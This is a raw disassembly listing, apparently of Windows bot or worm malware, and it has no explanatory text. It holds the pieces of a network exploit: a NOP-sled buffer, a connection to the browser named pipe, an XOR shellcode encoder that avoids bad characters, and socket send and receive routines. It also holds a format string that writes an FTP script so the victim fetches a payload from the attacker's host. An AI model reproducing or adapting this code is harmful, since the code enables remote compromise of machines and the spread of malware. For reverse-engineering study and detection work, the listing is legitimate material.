call near ptr 71AB615Ah
push 0
lea edx, [esp+98h+arg_3FA0]
push 0FDCh
push edx
push ebp
call ebx ; send
cmp eax, 0FFFFFFFFh
jnz short loc_425C4C
xor al, al
pop edi
pop esi
pop ebp
pop ebx
add esp, 81D8h
retn
; ---------------------------------------------------------------------------
loc_425BE5: ; CODE XREF: sub_4257F0+32Aj
mov ecx, 1Fh
mov esi, offset dword_44633C
lea edi, [esp+74h+arg_1480]
push 0
rep movsd
mov ecx, 1F4h
lea esi, [esp+78h+arg_90]
lea edi, [esp+78h+arg_14FC]
lea eax, [esp+78h+arg_1480]
rep movsd
mov ecx, 24h
mov esi, offset off_4463BC
lea edi, [esp+78h+arg_1CCC]
push 0CF8h
push eax
push ebp
rep movsd
mov [esp+84h+arg_2177], 0
call ebx ; send
cmp eax, 0FFFFFFFFh
jnz short loc_425C4C
xor al, al
pop edi
pop esi
pop ebp
pop ebx
add esp, 81D8h
retn
; ---------------------------------------------------------------------------
loc_425C4C: ; CODE XREF: sub_4257F0+3E6j
; sub_4257F0+44Dj
push 12Ch
nop
call near ptr 2831C1Ah
sub esp, 0BCh
mov ecx, 2Eh
lea esi, [esp+164h+arg_8140]
mov edi, esp
rep movsd
movsw
call sub_4013BB
add esp, 0BCh
test al, al
pop edi
pop esi
pop ebp
pop ebx
setnz al
add esp, 81D8h
retn
sub_4257F0 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
db 6 dup(90h)
db 130h dup(0CCh)
; ---------------------------------------------------------------------------
loc_425DC0: ; CODE XREF: ___:00401DCAj
sub esp, 650h
xor eax, eax
push ebx
mov [esp+4], eax
push esi
mov [esp+0Ch], eax
lea ecx, [esp+660h]
push edi
mov [esp+14h], eax
push ecx
mov [esp+1Ch], eax
mov word ptr [esp+10h], 2
call near ptr 71AB2BF4h
nop
mov edx, [esp+6FEh]
mov [esp+10h], eax
push edx
nop
call near ptr 71AB2B66h
push 6
push 1
push 2
mov [esp+1Ah], ax
call near ptr 71AB3B91h
nop
mov ebx, eax
cmp ebx, 0FFFFFFFFh
jnz short loc_425E26
xor eax, eax
pop edi
pop esi
pop ebx
add esp, 650h
retn
; ---------------------------------------------------------------------------
loc_425E26: ; CODE XREF: ___:00425E18j
lea eax, [esp+0Ch]
push 10h
push eax
push ebx
call near ptr 71AB406Ah
nop
cmp eax, 0FFFFFFFFh
jnz short loc_425E45
xor eax, eax
pop edi
pop esi
pop ebx
add esp, 650h
retn
; ---------------------------------------------------------------------------
loc_425E45: ; CODE XREF: ___:00425E37j
mov edi, dword_511CA0
push 0
push 89h
push offset dword_445FB0
push ebx
call edi ; send
cmp eax, 0FFFFFFFFh
jnz short loc_425E6B
xor eax, eax
pop edi
pop esi
pop ebx
add esp, 650h
retn
; ---------------------------------------------------------------------------
loc_425E6B: ; CODE XREF: ___:00425E5Dj
mov esi, dword_511CA4
push 0
lea ecx, [esp+20h]
push 640h
push ecx
push ebx
call esi ; recv
push 0
push 0A8h
push offset dword_44603C
push ebx
call edi ; send
cmp eax, 0FFFFFFFFh
jnz short loc_425EA0
xor eax, eax
pop edi
pop esi
pop ebx
add esp, 650h
retn
; ---------------------------------------------------------------------------
loc_425EA0: ; CODE XREF: ___:00425E92j
push 0
lea edx, [esp+20h]
push 640h
push edx
push ebx
call esi ; recv
push 0
push 0DEh
push offset dword_4460E8
push ebx
call edi ; send
cmp eax, 0FFFFFFFFh
jnz short loc_425ECF
xor eax, eax
pop edi
pop esi
pop ebx
add esp, 650h
retn
; ---------------------------------------------------------------------------
loc_425ECF: ; CODE XREF: ___:00425EC1j
push 0
lea eax, [esp+20h]
push 640h
push eax
push ebx
call esi ; recv
movsx eax, byte ptr [esp+60h]
sub eax, 30h
jz short loc_425EFB
dec eax
jz short loc_425EF7
xor eax, eax
pop edi
pop esi
pop ebx
add esp, 650h
retn
; ---------------------------------------------------------------------------
loc_425EF7: ; CODE XREF: ___:00425EE9j
push 0
jmp short loc_425F2E
; ---------------------------------------------------------------------------
loc_425EFB: ; CODE XREF: ___:00425EE6j
push 2
push ebx
sub esp, 0BCh
mov ecx, 2Eh
lea esi, [esp+724h]
mov edi, esp
rep movsd
movsw
call sub_40180C
add esp, 0C4h
test al, al
jz short loc_425F2C
mov esi, 1
jmp short loc_425F5A
; ---------------------------------------------------------------------------
loc_425F2C: ; CODE XREF: ___:00425F23j
push 1
loc_425F2E: ; CODE XREF: ___:00425EF9j
push ebx
mov ecx, 2Eh
sub esp, 0BCh
lea esi, [esp+724h]
mov edi, esp
rep movsd
movsw
call sub_40180C
add esp, 0C4h
neg al
sbb eax, eax
neg eax
mov esi, eax
loc_425F5A: ; CODE XREF: ___:00425F2Aj
push ebx
nop
call near ptr 71AB9639h
test esi, esi
jz short loc_425F88
sub esp, 0BCh
mov ecx, 2Eh
lea esi, [esp+71Ch]
mov edi, esp
rep movsd
movsw
call sub_40114F
add esp, 0BCh
loc_425F88: ; CODE XREF: ___:00425F63j
pop edi
pop esi
mov eax, 1
pop ebx
add esp, 650h
retn
; ---------------------------------------------------------------------------
db 9 dup(90h)
db 80h dup(0CCh)
; ---------------------------------------------------------------------------
loc_426020: ; CODE XREF: ___:00401E51j
push edi
push 0C8h
nop
call near ptr 2831C1Ah
mov edx, [esp+0Ch]
or ecx, 0FFFFFFFFh
mov edi, edx
xor eax, eax
repne scasb
mov eax, [esp+8]
push 0
not ecx
dec ecx
push ecx
push edx
push eax
nop
call near ptr 71AB428Ah
cmp eax, 0FFFFFFFFh
pop edi
setnz al
retn
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_426070 proc near ; CODE XREF: sub_401A55j
var_5A0 = dword ptr -5A0h
var_59C = dword ptr -59Ch
var_598 = dword ptr -598h
var_594 = dword ptr -594h
var_590 = byte ptr -590h
var_400 = byte ptr -400h
arg_0 = dword ptr 4
arg_4 = byte ptr 8
arg_BC = dword ptr 0C0h
sub esp, 5A0h
xor eax, eax
push ebx
mov [esp+5A4h+var_5A0], eax
push ebp
mov [esp+5A8h+var_59C], eax
push esi
lea ecx, [esp+5ACh+arg_4]
push edi
mov [esp+5B0h+var_598], eax
push ecx
mov [esp+5B4h+var_594], eax
mov word ptr [esp+5B4h+var_5A0], 2
call near ptr 71AB2BF4h
nop
mov edx, [esp+5B0h+arg_BC]
mov [esp+5B0h+var_59C], eax
push edx
call near ptr 71AB2B66h
nop
push 0
push 1
push 2
mov word ptr [esp+5BCh+var_5A0+2], ax
nop
call near ptr 71AB3B91h
mov esi, eax
cmp esi, 0FFFFFFFFh
jnz short loc_4260D8
pop edi
pop esi
pop ebp
xor al, al
pop ebx
add esp, 5A0h
retn
; ---------------------------------------------------------------------------
loc_4260D8: ; CODE XREF: sub_426070+59j
lea eax, [esp+5B0h+var_5A0]
push 10h
push eax
push esi
nop
call near ptr 71AB406Ah
cmp eax, 0FFFFFFFFh
jnz short loc_4260F8
pop edi
pop esi
pop ebp
xor al, al
pop ebx
add esp, 5A0h
retn
; ---------------------------------------------------------------------------
loc_4260F8: ; CODE XREF: sub_426070+79j
push 0
lea ecx, [esp+5B4h+var_400]
push 400h
push ecx
push esi
nop
call near ptr 71AB615Ah
mov ecx, offset byte_449511
call sub_4017EE
push eax
mov ecx, offset byte_449511
call sub_4017EE
mov edx, dword_44964F
push eax
mov eax, [esp+5B8h+arg_0]
push edx
push eax
call sub_401E10
mov ebx, dword_511AE4
add esp, 4
lea ecx, [esp+5BCh+var_590]
push eax
push offset aOpenSDIiEchoUs ; "open %s %d >> ii &echo user a a >> ii &"...
push 190h
push ecx
call ebx ; _snprintf
lea edi, [esp+5CCh+var_590]
or ecx, 0FFFFFFFFh
xor eax, eax
add esp, 1Ch
repne scasb
mov ebp, dword_511CA0
push 0
not ecx
dec ecx
lea edx, [esp+5B4h+var_590]
push ecx
push edx
push esi
call ebp ; send
cmp eax, 0FFFFFFFFh
jnz short loc_426187
pop edi
pop esi
pop ebp
xor al, al
pop ebx
add esp, 5A0h
retn
; ---------------------------------------------------------------------------
loc_426187: ; CODE XREF: sub_426070+108j
push 1F4h
nop
call near ptr 2831C1Ah
mov ecx, offset byte_449511
call sub_4017EE
push eax
push offset aS_3 ; "%s\r\n"
lea eax, [esp+5B8h+var_590]
push 190h
push eax
call ebx ; _snprintf
lea edi, [esp+5C0h+var_590]
or ecx, 0FFFFFFFFh
xor eax, eax
add esp, 10h
repne scasb
not ecx
dec ecx
push 0
push ecx
lea ecx, [esp+5B8h+var_590]
push ecx
push esi
call ebp ; send
cmp eax, 0FFFFFFFFh
jnz short loc_4261DC
pop edi
pop esi
pop ebp
xor al, al
pop ebx
add esp, 5A0h
retn
; ---------------------------------------------------------------------------
loc_4261DC: ; CODE XREF: sub_426070+15Dj
push 0
lea edx, [esp+5B4h+var_400]
push 400h
push edx
push esi
nop
call near ptr 71AB615Ah
push esi
nop
call near ptr 71AB9639h
pop edi
pop esi
pop ebp
mov al, 1
pop ebx
add esp, 5A0h
retn
sub_426070 endp
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 70h dup(0CCh)
; ---------------------------------------------------------------------------
loc_426280: ; CODE XREF: ___:00402199j
mov eax, 1E88h
call sub_437B30
push esi
push edi
mov ecx, 20Ch
xor eax, eax
lea edi, [esp+238h]
mov esi, offset dword_4469AC
rep stosd
mov ecx, 0FAh
mov eax, 90909090h
lea edi, [esp+0A68h]
mov edx, dword_51010C
rep stosd
mov ecx, 56h
lea edi, [esp+0CDEh]
rep movsd
mov eax, dword_446C24
mov ecx, 10h
movsw
movsb
lea edi, [esp+0E50h]
mov esi, offset dword_44695C
rep stosd
mov eax, dword_446C1C
mov ecx, 0Bh
lea edi, [esp+238h]
rep movsd
mov ecx, 10Ah
lea esi, [esp+0A68h]
lea edi, [esp+270h]
mov [esp+264h], eax
mov [esp+268h], edx
mov [esp+26Ch], eax
rep movsd
mov ecx, 7
mov esi, offset dword_44698C
lea edi, [esp+69Ch]
mov ax, word_446C18
mov [esp+698h], edx
lea edx, [esp+30h]
rep movsd
mov esi, dword_511AE4
lea ecx, [esp+1E98h]
push ecx
push offset dword_4468F8
push 104h
push edx
mov [esp+6BCh], ax
call esi ; _snprintf
add esp, 10h
xor edi, edi
lea ecx, [esp+10h]
lea eax, [esp+30h]
push edi
push offset byte_448F30
push offset byte_448F30
push ecx
mov [esp+24h], edi
mov [esp+30h], edi
mov [esp+3Ch], edi
mov [esp+34h], eax
call sub_4382AA
; ---------------------------------------------------------------------------
test eax, eax
jz short loc_4263A5
or eax, 0FFFFFFFFh
pop edi
pop esi
add esp, 1E88h
retn
; ---------------------------------------------------------------------------
loc_4263A5: ; CODE XREF: ___:00426397j
lea edx, [esp+1E98h]
lea eax, [esp+134h]
push edx
push offset aSPipeBrowser ; "\\\\%s\\pipe\\browser"
push 104h
push eax
call esi ; _snprintf
add esp, 10h
lea ecx, [esp+134h]
push edi
push edi
push 3
push edi
push edi
push 0C0000000h
push ecx
nop
call near ptr 2860000h
mov esi, eax
cmp esi, 0FFFFFFFFh
jnz short loc_4263EF
or eax, eax
pop edi
pop esi
add esp, 1E88h
retn
; ---------------------------------------------------------------------------
loc_4263EF: ; CODE XREF: ___:004263E2j
lea edx, [esp+0Ch]
push edi
push edx
lea eax, [esp+0E98h]
push 1000h
push eax
push 49h
push offset dword_446910
push esi
nop
call near ptr 2790000h
test eax, eax
jnz short loc_426427
push esi
nop
call near ptr 28406F3h
or eax, 0FFFFFFFFh
pop edi
pop esi
add esp, 1E88h
retn
; ---------------------------------------------------------------------------
loc_426427: ; CODE XREF: ___:00426412j
lea ecx, [esp+8]
push edi
push ecx
lea edx, [esp+240h]
push 830h
push edx
push esi
call near ptr 27F0000h
nop
test eax, eax
jnz short loc_426458
push esi
call near ptr 28406F3h
nop
or eax, 0FFFFFFFFh
pop edi
pop esi
add esp, 1E88h
retn
; ---------------------------------------------------------------------------
loc_426458: ; CODE XREF: ___:00426443j
push 115Ch
mov ecx, 2Eh
sub esp, 0BCh
lea esi, [esp+1F54h]
mov edi, esp
rep movsd
movsw
call sub_401A55
add esp, 0C0h
neg al
sbb eax, eax
pop edi
neg eax
pop esi
add esp, 1E88h
retn
; ---------------------------------------------------------------------------
db 90h
db 90h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_426520 proc near ; CODE XREF: sub_4013CAj
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push edi
mov edi, [esp+4+arg_4]
or ecx, 0FFFFFFFFh
xor eax, eax
repne scasb
mov edi, [esp+4+arg_0]
not ecx
dec ecx
mov edx, ecx
or ecx, 0FFFFFFFFh
repne scasb
not ecx
dec ecx
pop edi
lea eax, [ecx+edx*2+0C1h]
retn
sub_426520 endp
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_426560 proc near ; CODE XREF: sub_401794j
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
push ebx
mov ebx, [esp+4+arg_8]
push esi
mov esi, [esp+8+arg_C]
push esi
push ebx
call sub_4013CA
mov ecx, [esp+10h+arg_4]
add esp, 8
cmp eax, ecx
mov [esp+8+arg_8], eax
jbe short loc_426585
pop esi
xor eax, eax
pop ebx
retn
; ---------------------------------------------------------------------------
loc_426585: ; CODE XREF: sub_426560+1Ej
push ebp
push edi
or ecx, 0FFFFFFFFh
mov edi, ebx
xor eax, eax
mov ebp, [esp+10h+arg_0]
repne scasb
not ecx
dec ecx
mov edi, esi
mov edx, ecx
or ecx, 0FFFFFFFFh
repne scasb
not ecx
dec ecx
mov esi, offset dword_446C5C
mov eax, ecx
mov edi, ebp
lea ecx, [eax+edx+12h]
mov dword_446CC0, ecx
lea ecx, [eax+1]
mov dword_446CE1, ecx
lea ecx, [eax+17h]
mov dword_446CD9, ecx
mov ecx, 0FFFFFFEDh
sub ecx, eax
mov dword_446CEF, ecx
mov ecx, 1Dh
rep movsd
mov ecx, edx
mov esi, ebx
mov ebx, ecx
lea edi, [ebp+74h]
shr ecx, 2
rep movsd
mov ecx, ebx
add edx, 74h
and ecx, 3
rep movsb
mov esi, dword_446CD0
lea ecx, [edx+ebp]
add edx, 5
mov [ecx], esi
mov bl, byte_446CD4
mov esi, [esp+10h+arg_C]
lea edi, [edx+ebp]
mov [ecx+4], bl
mov ecx, eax
mov ebx, ecx
add edx, eax
shr ecx, 2
rep movsd
mov ecx, ebx
and ecx, 3
rep movsb
mov esi, dword_446CD5
lea ecx, [edx+ebp]
add edx, 10h
mov [ecx], esi
mov esi, dword_446CD9
lea edi, [edx+ebp]
mov [ecx+4], esi
mov esi, dword_446CDD
mov [ecx+8], esi
mov esi, dword_446CE1
mov [ecx+0Ch], esi
mov esi, [esp+10h+arg_C]
mov ecx, eax
shr ecx, 2
rep movsd
mov ecx, ebx
and ecx, 3
rep movsb
lea edi, [edx+eax]
mov eax, [esp+10h+arg_8]
add edi, ebp
mov ecx, 0Eh
mov esi, offset byte_446CE5
rep movsd
pop edi
pop ebp
pop esi
pop ebx
retn
sub_426560 endp
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 50h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4266D0 proc near ; CODE XREF: sub_402180j
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_4]
mov ecx, [esp+arg_0]
push eax
push ecx
call sub_4013CA
push eax
call sub_4017C6
add esp, 0Ch
retn
sub_4266D0 endp
; ---------------------------------------------------------------------------
db 7 dup(90h)
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_426700: ; CODE XREF: ___:0040173Fj
push ebx
mov ebx, [esp+10h]
push ebp
push edi
mov edi, [esp+1Ch]
push edi
push ebx
call sub_402180
mov ebp, [esp+1Ch]
add esp, 8
cmp eax, ebp
jbe short loc_426723
pop edi
pop ebp
xor eax, eax
pop ebx
retn
; ---------------------------------------------------------------------------
loc_426723: ; CODE XREF: ___:0042671Bj
cmp eax, 0FFFFh
jbe short loc_426730
pop edi
pop ebp
xor eax, eax
pop ebx
retn
; ---------------------------------------------------------------------------
loc_426730: ; CODE XREF: ___:00426728j
push esi
push edi
push ebx
call sub_4013CA
add eax, 101h
push eax
call near ptr 77C2C407h
nop
add esp, 0Ch
mov esi, eax
push edi
push ebx
push edi
push ebx
call sub_4013CA
add esp, 8
push eax
push esi
call sub_401794
push eax
mov eax, [esp+28h]
push esi
push ebp
push eax
call sub_401B8B
push esi
mov edi, eax
nop
call near ptr 77C2C21Bh
add esp, 24h
mov eax, edi
pop esi
pop edi
pop ebp
pop ebx
retn
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4267A0 proc near ; CODE XREF: sub_4017C6j
arg_0 = dword ptr 4
mov ecx, [esp+arg_0]
test cl, cl
jnz short loc_4267A9
inc ecx
loc_4267A9: ; CODE XREF: sub_4267A0+6j
mov eax, 0FFh
cmp eax, ecx
sbb eax, eax
and eax, 2
add eax, 15h
add eax, ecx
retn
sub_4267A0 endp
; ---------------------------------------------------------------------------
db 5 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4267D0 proc near ; CODE XREF: sub_401B8Bj
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
push ebx
mov ebx, [esp+4+arg_C]
cmp bl, 0Ah
jz short loc_4267E8
cmp bl, 0Dh
jz short loc_4267E8
cmp bl, 5Ch
jz short loc_4267E8
test bl, bl
jnz short loc_4267E9
loc_4267E8: ; CODE XREF: sub_4267D0+8j
; sub_4267D0+Dj ...
inc ebx
loc_4267E9: ; CODE XREF: sub_4267D0+16j
cmp ebx, 0FFh
jbe short loc_42680C
mov eax, ebx
shr eax, 8
cmp al, 0Ah
jz short loc_426806
cmp al, 0Dh
jz short loc_426806
cmp al, 5Ch
jz short loc_426806
test al, al
jnz short loc_42680C
loc_426806: ; CODE XREF: sub_4267D0+28j
; sub_4267D0+2Cj ...
add ebx, 100h
loc_42680C: ; CODE XREF: sub_4267D0+1Fj
; sub_4267D0+34j
push ebx
call sub_4017C6
mov ecx, [esp+8+arg_4]
add esp, 4
cmp eax, ecx
mov [esp+4+arg_C], eax
jbe short loc_426825
xor eax, eax
pop ebx
retn
; ---------------------------------------------------------------------------
loc_426825: ; CODE XREF: sub_4267D0+4Fj
cmp eax, 0FFFFh
jbe short loc_426830
xor eax, eax
pop ebx
retn
; ---------------------------------------------------------------------------
loc_426830: ; CODE XREF: sub_4267D0+5Aj
mov al, byte_510114
xor edx, edx
push ebp
mov ebp, [esp+8+arg_8]
test ebx, ebx
push esi
jbe short loc_426860
loc_426841: ; CODE XREF: sub_4267D0+8Ej
mov cl, [edx+ebp]
xor cl, al
jz short loc_426857
cmp cl, 0Ah
jz short loc_426857
cmp cl, 0Dh
jz short loc_426857
cmp cl, 5Ch
jnz short loc_42685B
loc_426857: ; CODE XREF: sub_4267D0+76j
; sub_4267D0+7Bj ...
inc al
xor edx, edx
loc_42685B: ; CODE XREF: sub_4267D0+85j
inc edx
cmp edx, ebx
jb short loc_426841
loc_426860: ; CODE XREF: sub_4267D0+6Fj
cmp ebx, 0FFh
push edi
mov byte_510114, al
ja short loc_426893
mov edx, [esp+10h+arg_0]
mov ecx, 5
mov esi, offset loc_446C44
mov edi, edx
mov byte_446C51, bl
mov byte_446C55, al
rep movsd
movsb
mov esi, 15h
jmp short loc_4268B9
; ---------------------------------------------------------------------------
loc_426893: ; CODE XREF: sub_4267D0+9Cj
mov edx, [esp+10h+arg_0]
mov ecx, 5
mov esi, offset loc_446C2C
mov edi, edx
mov word_446C3A, bx
mov byte_446C3F, al
rep movsd
movsw
movsb
mov esi, 17h
loc_4268B9: ; CODE XREF: sub_4267D0+C1j
xor ecx, ecx
pop edi
test ebx, ebx
jbe short loc_4268CF
add esi, edx
loc_4268C2: ; CODE XREF: sub_4267D0+FDj
mov dl, [ecx+ebp]
xor dl, al
mov [esi+ecx], dl
inc ecx
cmp ecx, ebx
jb short loc_4268C2
loc_4268CF: ; CODE XREF: sub_4267D0+EEj
mov eax, [esp+0Ch+arg_C]
pop esi
pop ebp
pop ebx
retn
sub_4267D0 endp
; ---------------------------------------------------------------------------
db 9 dup(90h)
db 50h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_426930 proc near ; CODE XREF: sub_401E3Dj
arg_0 = dword ptr 4
mov ecx, [esp+arg_0]
lea eax, [ecx+ecx*2]
shl eax, 4
sub eax, ecx
xor ecx, ecx
lea eax, [eax+eax*2]
mov dword_44B19F[eax*4], ecx
mov dword_44B18B[eax*4], ecx
mov dword_44B18F[eax*4], ecx
mov dword_44B193[eax*4], ecx
mov dword_44B197[eax*4], ecx
mov dword_44B19B[eax*4], ecx
mov byte_44AF8B[eax*4], cl
mov byte_44B1A3[eax*4], cl
retn
sub_426930 endp
; ---------------------------------------------------------------------------
db 6 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4269A0 proc near ; CODE XREF: sub_401370j
arg_0 = dword ptr 4
mov ecx, [esp+arg_0]
push ebx
push ebp
xor ebx, ebx
xor ebp, ebp
cmp ecx, ebx
jle loc_426A57
cmp ecx, 400h
jge loc_426A57
lea eax, [ecx+ecx*2]
push esi
shl eax, 4
sub eax, ecx
push edi
push ebx
lea esi, [eax+eax*2]
mov eax, dword_44B19F[esi*4]
push eax
nop
call near ptr 2780C01h
cmp dword_44B19F[esi*4], ebx
jz short loc_4269E8
mov ebp, 1
loc_4269E8: ; CODE XREF: sub_4269A0+41j
mov dword_44B19F[esi*4], ebx
mov dword_44B18B[esi*4], ebx
mov dword_44B18F[esi*4], ebx
mov eax, dword_44B193[esi*4]
cmp eax, ebx
jbe short loc_426A11
push eax
call sub_401C80
add esp, 4
loc_426A11: ; CODE XREF: sub_4269A0+66j
mov edi, dword_511C9C
mov dword_44B193[esi*4], ebx
mov byte_44AF8B[esi*4], bl
mov byte_44B1A3[esi*4], bl
mov ecx, dword_44B197[esi*4]
push ecx
call edi ; closesocket
mov dword_44B197[esi*4], ebx
mov edx, dword_44B19B[esi*4]
lea esi, ds:44B19Bh[esi*4]
push edx
call edi ; closesocket
mov [esi], ebx
pop edi
mov eax, ebp
pop esi
pop ebp
pop ebx
retn
; ---------------------------------------------------------------------------
loc_426A57: ; CODE XREF: sub_4269A0+Cj
; sub_4269A0+18j
mov eax, ebp
pop ebp
pop ebx
retn
sub_4269A0 endp
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_426A90 proc near ; CODE XREF: sub_401DA7j
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push ebx
mov ebx, [esp+4+arg_4]
push ebp
push esi
push edi
xor ebp, ebp
xor edi, edi
mov esi, offset dword_44B18F
loc_426AA1: ; CODE XREF: sub_426A90+52j
mov eax, [esp+10h+arg_0]
mov ecx, [esi-4]
cmp ecx, eax
jnz short loc_426AD5
test ebx, ebx
jle short loc_426AC7
cmp [esi], ebx
jz short loc_426AB8
cmp edi, ebx
jnz short loc_426AD5
loc_426AB8: ; CODE XREF: sub_426A90+22j
push edi
call sub_401370
add esp, 4
test eax, eax
jz short loc_426AD5
jmp short loc_426AD4
; ---------------------------------------------------------------------------
loc_426AC7: ; CODE XREF: sub_426A90+1Ej
push edi
call sub_401370
add esp, 4
test eax, eax
jz short loc_426AD5
loc_426AD4: ; CODE XREF: sub_426A90+35j
inc ebp
loc_426AD5: ; CODE XREF: sub_426A90+1Aj
; sub_426A90+26j ...
add esi, 234h
inc edi
cmp esi, offset byte_4D818F
jl short loc_426AA1
pop edi
mov eax, ebp
pop esi
pop ebp
pop ebx
retn
sub_426A90 endp
; ---------------------------------------------------------------------------
db 5 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_426B10 proc near ; CODE XREF: sub_401C80j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push esi
push edi
push eax
push 0
push 1F0FFFh
mov edi, 1
nop
call near ptr 2710000h
mov esi, eax
test esi, esi
jz short loc_426B45
push 0
push esi
nop
call near ptr 27A03E7h
test eax, eax
jnz short loc_426B45
push esi
xor edi, edi
call near ptr 28406F3h
nop
loc_426B45: ; CODE XREF: sub_426B10+1Dj
; sub_426B10+2Aj
mov eax, edi
pop edi
pop esi
retn
sub_426B10 endp
; ---------------------------------------------------------------------------
db 6 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_426B60 proc near ; CODE XREF: sub_40148Dj
arg_0 = dword ptr 4
mov edx, [esp+arg_0]
xor eax, eax
mov ecx, offset dword_44B18B
loc_426B6B: ; CODE XREF: sub_426B60+1Cj
cmp [ecx], edx
jnz short loc_426B70
inc eax
loc_426B70: ; CODE XREF: sub_426B60+Dj
add ecx, 234h
cmp ecx, offset byte_4D818B
jl short loc_426B6B
retn
sub_426B60 endp
; ---------------------------------------------------------------------------
db 90h
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_426B90 proc near ; CODE XREF: sub_401DA2j
arg_0 = dword ptr 4
mov edx, [esp+arg_0]
push esi
xor esi, esi
xor eax, eax
mov ecx, offset dword_44B18B
loc_426B9E: ; CODE XREF: sub_426B90+1Fj
cmp [ecx], edx
jz short loc_426BB3
add ecx, 234h
inc eax
cmp ecx, offset byte_4D818B
jl short loc_426B9E
mov eax, esi
loc_426BB3: ; CODE XREF: sub_426B90+10j
pop esi
retn
sub_426B90 endp
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_426BD0 proc near ; CODE XREF: sub_401BEAj
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push edi
xor edi, edi
mov eax, offset byte_44AF8B
loc_426BD8: ; CODE XREF: sub_426BD0+18j
cmp byte ptr [eax], 0
jz short loc_426BEE
add eax, 234h
inc edi
cmp eax, offset dword_4D7F8B
jl short loc_426BD8
mov eax, edi
pop edi
retn
; ---------------------------------------------------------------------------
loc_426BEE: ; CODE XREF: sub_426BD0+Bj
lea eax, [edi+edi*2]
push esi
shl eax, 4
sub eax, edi
push 1FFh
lea eax, [eax+eax*2]
lea esi, ds:44AF8Bh[eax*4]
mov eax, [esp+0Ch+arg_0]
push eax
push esi
nop
call near ptr 77C47A90h
mov ecx, [esp+14h+arg_4]
mov edx, [esp+14h+arg_8]
mov [esi+200h], ecx
mov dword ptr [esi+204h], 0
add esp, 0Ch
mov dword ptr [esi+208h], 0
mov [esi+20Ch], edx
mov byte ptr [esi+218h], 0
mov eax, edi
pop esi
pop edi
retn
sub_426BD0 endp
; ---------------------------------------------------------------------------
db 7 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_426C70 proc near ; CODE XREF: sub_401613j
var_3C = byte ptr -3Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_426C70
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 30h
push esi
push edi
push 0
push 7
push 0Eh
push 9
push 10h
push 4Fh
push 13h
push 0Fh
mov esi, ecx
push 4
lea eax, [esp+68h+var_3C]
push 4
push eax
mov dword ptr [esi+118h], 0
mov byte ptr [esi+11Ch], 0
call sub_4019C4
add esp, 2Ch
push esi
mov ecx, eax
mov [esp+48h+var_4], 0
call sub_4017EE
lea ecx, [esi+4]
push eax
push ecx
mov ecx, offset dword_449118
call sub_40159B
sub_426C70 endp
; ---------------------------------------------------------------------------
or edi, 0FFFFFFFFh
lea ecx, [esp+8]
mov [esp+40h], edi
call sub_401226
push 0
push 10h
push 4
push 15h
push 4Fh
push 13h
push 0Fh
push 4
lea edx, [esp+28h]
push 4
push edx
call sub_4019C4
add esp, 28h
push esi
mov ecx, eax
mov dword ptr [esp+44h], 1
call sub_4017EE
push eax
lea eax, [esi+32h]
push eax
mov ecx, offset dword_449118
call sub_40159B
; ---------------------------------------------------------------------------
lea ecx, [esp+8]
mov [esp+40h], edi
call sub_401226
push 0
push 0Eh
push 19h
push 13h
push 4Fh
push 13h
push 0Fh
push 4
lea ecx, [esp+28h]
push 4
push ecx
call sub_4019C4
add esp, 28h
push esi
mov ecx, eax
mov dword ptr [esp+44h], 2
call sub_4017EE
lea edx, [esi+60h]
push eax
push edx
mov ecx, offset dword_449118
call sub_40159B
; ---------------------------------------------------------------------------
lea ecx, [esp+8]
mov [esp+40h], edi
call sub_401226
push 0
push 10h
push 0Fh
push 14h
push 13h
push 4Fh
push 13h
push 0Fh
push 4
lea eax, [esp+2Ch]
push 4
push eax
call sub_4019C4
add esp, 2Ch
push esi
mov ecx, eax
mov dword ptr [esp+44h], 3
call sub_4017EE
lea ecx, [esi+0EAh]
push eax
push ecx
mov ecx, offset dword_449118
call sub_40159B
; ---------------------------------------------------------------------------
lea ecx, [esp+8]
mov [esp+40h], edi
call sub_401226
push 0
push 0Eh
push 19h
push 13h
push 4
push 13h
push 4Fh
push 13h
push 0Fh
push 4
lea edx, [esp+48h]
push 4
push edx
call sub_4019C4
add esp, 30h
push esi
mov ecx, eax
mov dword ptr [esp+44h], 4
call sub_4017EE
add esi, 8Eh
push eax
push esi
mov ecx, offset dword_449118
call sub_40159B
; ---------------------------------------------------------------------------
lea ecx, [esp+20h]
mov [esp+40h], edi
call sub_401226
mov ecx, [esp+38h]
pop edi
pop esi
mov large fs:0, ecx
add esp, 3Ch
retn
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 80h dup(0CCh)
; ---------------------------------------------------------------------------
